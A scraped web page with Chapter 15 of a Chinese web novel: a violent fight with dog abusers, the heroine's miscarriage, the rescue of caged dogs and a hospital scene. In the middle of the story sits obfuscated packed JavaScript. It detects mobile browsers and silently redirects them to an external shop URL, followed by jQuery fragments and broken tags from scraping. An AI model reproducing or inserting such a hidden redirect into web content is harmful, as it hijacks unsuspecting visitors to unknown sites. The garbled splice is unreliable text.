15.第十五只狗
作品:《抓狗大队[微悬疑]》 她动了。
夜视镜里,黄牙男的轮廓在左侧两米处晃动,刀锋破空的锐响先于人至,直奔咽喉。
甩棍斜劈,腕骨断裂的脆响在黑暗中格外刺耳。
惨叫刚要出口,第二棍已至,重重砸在喉结上。
黄牙男应声倒下。
右后方有人影扑来。隋塔旋身,甩棍如毒蛇出洞,精准地捅进对方胃部,呕吐物喷溅的声音清晰可闻。她借势前冲半步,一记肘击砸在他的后颈。
又是一个……
血腥味,开始在空气里弥漫。
六具身体横七竖八地躺在地上,或昏死,或呻吟。只剩下两个。
一个是躲在狗笼后面,瑟瑟发抖的森哥。隋塔的目光掠过他,没有停留。一个连狗都不敢下手、只敢躲在乌合之众里狐假虎威的废物,不值得她浪费一秒钟。
棘手的,是蝰蛇。
突然,一道劲风贴地扫来——是蝰蛇的鞭腿!夜视镜里,他的动作快到拖出残影。
隋塔后跳,甩棍下沉格挡。钢棍只砸向了地板,发出令人牙酸的金属摩擦声,震得她虎口发麻。
黑暗里,蝰蛇的呼吸声沉稳如初:“专业级的。”
“彼此彼此。”隋塔甩了甩发麻的手腕。
没有废话。蝰蛇再次突进,拳路刁钻,是泰拳与格斗术的混合体。
隋塔连退三步,避其锋芒,手腕一转,甩棍由守转攻,毒辣地抽向对方肋骨——
被格开了。
蝰蛇的蝴蝶刀几乎是贴着她的颈动脉划过。夜视镜中,她能清晰看到他指节沾染上了自己血迹。
电光石火间,隋塔突然矮身,甩棍贴地横扫对方膝盖。
砰!
两人同时失去平衡。隋塔的腰狠狠撞上茶几,玻璃瞬间炸裂,夜视镜被震歪,幽绿的视野剧烈倾斜晃动,有温热的液体顺着额角流下。
还未等她反应,蝰蛇的喘息声已在耳边放大,他如野兽般骑在她身上,双手如铁钳,死死掐住她的脖子。
窒息感瞬间降临。
肺部的空气被迅速榨干,视野边缘开始发黑。更糟的是,蝰蛇的拳头带着残忍的力道,一拳接着一拳,精准而凶狠地砸向她的腹部。
第一拳,是剧痛。
第二拳,是痉挛。
第三拳落下时,隋塔感觉身体深处有什么东西坠下了,一股无法抗拒的温热暖流猛然下涌。力量,意识,甚至求生的本能,都随着那股暖流迅速抽离身体。
她好像要流产了。
恰在此时,耳机里传来季陲安焦灼的声音。
“隋塔,你没事吧?回答我!”
“快……走……”隋塔用尽最后一丝力气,从牙缝中挤出两个字。
蝰蛇粗暴地从她耳中扯出微型耳机,扔在地上踩碎了。
“还有外应,”他冷笑着,“很好,那我就先送你上路,再去陪他玩玩!”
隋塔试图反抗,但腹部那撕心裂肺的绞痛抽干了他所有的力气。
蝰蛇又是一记重拳,她的身体一软,彻底丧失了行动能力。
“啪嗒。”
头顶的灯,突然亮了。
刺目的光线让他眯起眼。
蝰蛇环顾四周,看着自己那些东倒西歪、生死不知的同伙,再看看身下这个满脸是血、奄奄一息的女人,他突然咧嘴对隋塔笑了。
“你倒是真有点本事,可惜啊,还是要死在我手里。”
他俯下身,声音压得很低,“放心,我会把你的尸体处理得很干净,就像处理那些狗一样,警察永远也找不到。”
冰冷的汗珠从隋塔的额角滑落,她想动,哪怕只是动一动手指,都做不到。
但即便是这样,她还是扯出一个笑来:“失手了,就是失手了……我认栽。这辈子活到这份上,也算够本了。”
“嘴还挺硬!”蝰蛇失去了耐心,高高举起了手中的刀。
就在刀锋即将落下的瞬间——
“哗啦……咔哒。”
门口,传来了铁链被解开的声响。
门被人从外面猛地推开。
一个看起来文质彬彬,甚至有些文弱的男人走了进来。
是季陲安。
看到他的瞬间,隋塔不知从哪里来的力气,用嘶哑的声音冲他吼道:
“傻逼啊你!上赶着来送命吗?!还不快滚!”
“这你姘头?”蝰蛇用刀尖指了指季陲安,“在我就在你面前先杀了他,然后再送你上路!”
“跑啊季陲安!”隋塔大喊,“快跑,我救不了你!”
可是季陲安并未转身离开,蝰蛇拿着刀,逐渐向他靠近。
蝰蛇挥刀像季陲安刺去,隋塔紧张地都忘了呼吸,可是眼睛却突然瞥见一个针管似的东西扎在了蝰蛇的腿上。
“五、四、三、二、一……”季陲安默默倒数。
“砰——”的一声,蝰蛇昏倒在地上。
森哥看此情况,直接靠墙溜出去跑了。
“麻药在哪得来的?”
季陲安赶忙上前扶起来隋塔,隋塔却直接给了季陲安一巴掌。
“先离开这里再说。”季陲安的脸颊火辣辣地疼,但他顾不上,弯腰,试图将她抱起。
“说清楚!”隋塔故意将身体的重量下沉,固执地对抗着,“你要是敢从医院里偷拿这种东西,我们俩的麻烦就大了!”
“我向你保证,绝对不是医院的,”季陲安的声音里带着一丝不容置喙的坚决,“但具体途径,我不能告诉你。”
随后他不顾隋塔的挣扎,强行将她打横抱起,大步走向门口那辆半旧的金杯车。
被放进副驾驶后,隋塔剧烈地喘息着,腹部的绞痛让她脸色惨白。她盯着季陲安,最终还是妥协了:
“来源我不问了。但……先把那些狗弄上车。”她望向那些挤在笼子里、惊恐不安的眼睛,“留它们在这里,迟早还是死。”
季陲安看了看她,又看了看那些狗,没有多问。他转身回到屋里,忍着扑鼻的恶臭,一只又一只地将那些吓坏了的动物抱上金杯车。顺便将蝰蛇的包裹拿了出来。
这些狗许久没有清洗,身上散发着令人作呕的腥臊味。换做平时,有严重洁癖的季陲安恐怕连靠近都做不到。可现在,在隋塔那双疲惫却执拗的眼睛注视下,他竟对这些“脏东西”没有了半点嫌弃。
当二十多只狗塞满车厢后,屋里那些被打倒的男的也开始有了苏醒的迹象。季陲安不敢耽搁,立刻发动汽车。
“要报警吗?”季陲安手握方向盘,“这种聚众虐待,应该让他们得到教训。”
“没用的。”隋塔摇了摇头,声音里满是不甘,“没有相关的法律,报警最多拘留几天。最后只会把我们俩牵扯进去,得不偿失。我只恨自己……当时怎么就没下手再重一点,把那些杂碎的脑壳全都敲碎!”
金杯车直接驶向了季陲安所在的医院。
他动用关系,为隋塔安排了一间安静的单人病房。安顿好她之后,他又马不停蹄地开着车,将那二十多只臭烘烘、却重获新生的狗,送去了隋塔指定的流浪动物救助基地——安心家园。
当他终于忙完这一切,重新坐回驾驶室时,一股浓烈的、混杂着血腥、尘土和动物排泄物的味道将他彻底包围。
洁癖终于在此刻强势发作。
他闻了闻自己身上,嫌恶地皱紧了眉头,一脚油门,开着隋塔的这辆大金杯,朝着家的方向疾驰而去。他现在只想把自己扔进浴室,用滚烫的热水,好好地洗个澡。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900433|191966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
意识从沉重的黑暗中浮起,消毒水的味道率先钻入鼻腔。
隋塔缓缓睁开眼,映入眼帘的是一片洁白的天花板。她动了动手指,感觉到了手背上插着针管的微弱刺痛,冰凉的液体正顺着输液管,一滴一滴地注入她的身体。
这一次,她是真的累了。身体像是被彻底掏空,连一丝一毫的力气都榨不出来。以往那种拔掉针管就走的冲动,此刻也消失得无影无踪。她就这么静静地躺着,任由疲惫感将自己淹没。
病房门被轻轻推开,一个年轻护士端着托盘走了进来,准备为她换药。当看清隋塔已经醒来时,小护士安慰似的拍了拍隋塔的肩。
“别伤心,孩子还会有的。”
隋塔听着她的话,指尖无意识地蜷进掌心。
她并没有太过意外,只是胸口像被什么细而凉的东西轻轻缠绕,泛起点若有若无的惆怅。
她其实……常常想起妈妈。
经常是在深夜推开出租屋的门,迎面扑来一片寂静黑暗的时候,她会忽然恍惚一瞬,仿佛被什么看不见的线轻轻拽了一下,拽回一个从未真正抵达、却又无比熟悉的怀抱。
她很想妈妈。
她不止一次地想象,在她尚未成形的年月里,母亲是以怎样的心情度过那十个月的。
是带着温柔的期待抚过日渐隆起的腹部,还是会在深夜因为孕吐或抽筋辗转难眠?
会不会对着镜子悄悄比划,猜想孩子的眉眼会更像谁?
会不会轻声哼着走调的歌,仿佛提前练习如何哄她入睡?
那本该是她们最亲密无间的时光。通过一根脐带分享心跳和温度,她是她母亲身体里沉甸甸的、鲜活的希望。
可这份希望最终成了无法挽回的代价。
她使母亲难产去世。
这个认知像一道永不愈合的伤口,悄无声息地横亘在她生命的起点。
她掠夺了母亲呼吸的温度,换来了自己啼哭的声音。她用另一个人的消亡,换来了自己的诞生。
于是每一次生日都像一场无声的悼念。
自此,她每一次对镜自照都忍不住猜想:若母亲还在,是否会从她眉眼的弧度里认出自己年轻的影子?
她成了母亲存在过的证据,也成了导致母亲消失的罪人。
这份罪疚如影随形,在她每一次勇敢时悄悄拉扯她的衣角,在她每一次靠近温暖时低声提醒:你不该活得这样理直气壮。
“没事,这个孩子我本来也不打算要的。”隋塔淡然一笑。
她怎么配,延续下一代。
“隋小姐,你跟我们季医生到底是什么关系呀?是不是他女朋友?”说着,她同情地握住隋塔的手,“你们一定很难过吧,要放宽心呀。”
一连串的误解和同情像重磅炸弹,砸得隋塔头晕眼花。她只想翻个白眼,然后立刻昏死过去。
“不是,”她深吸一口气,声音干涩,“我不是他女朋友,我们只是认识。昨天……他帮了我一个忙。”
“怎么可能!”小护士显然不信,“我们季医生在院里的外号可是‘冷美人’,出了名的不食人间烟火。我们从来没见过他有那么大的情绪波动。昨天他抱着你冲进来的时候,那样子……简直像是要急疯了,整张脸都白了,我们都吓了一跳呢。”
“真的只是朋友。”隋塔的解释显得苍白无力,“他有个谈了七年的女朋友,刚分手,还没走出来呢。况且,我也有男朋友,肚子里的孩子……也不是他的。”
“啊?”小护士的眼睛瞪得溜圆,关注点瞬间转移,“那你男朋友呢?出了这么大的事,他怎么不来陪你?这种男人你还不赶紧跟他分手!”
“他死了。”隋塔淡淡地吐出三个字。
空气瞬间凝固。

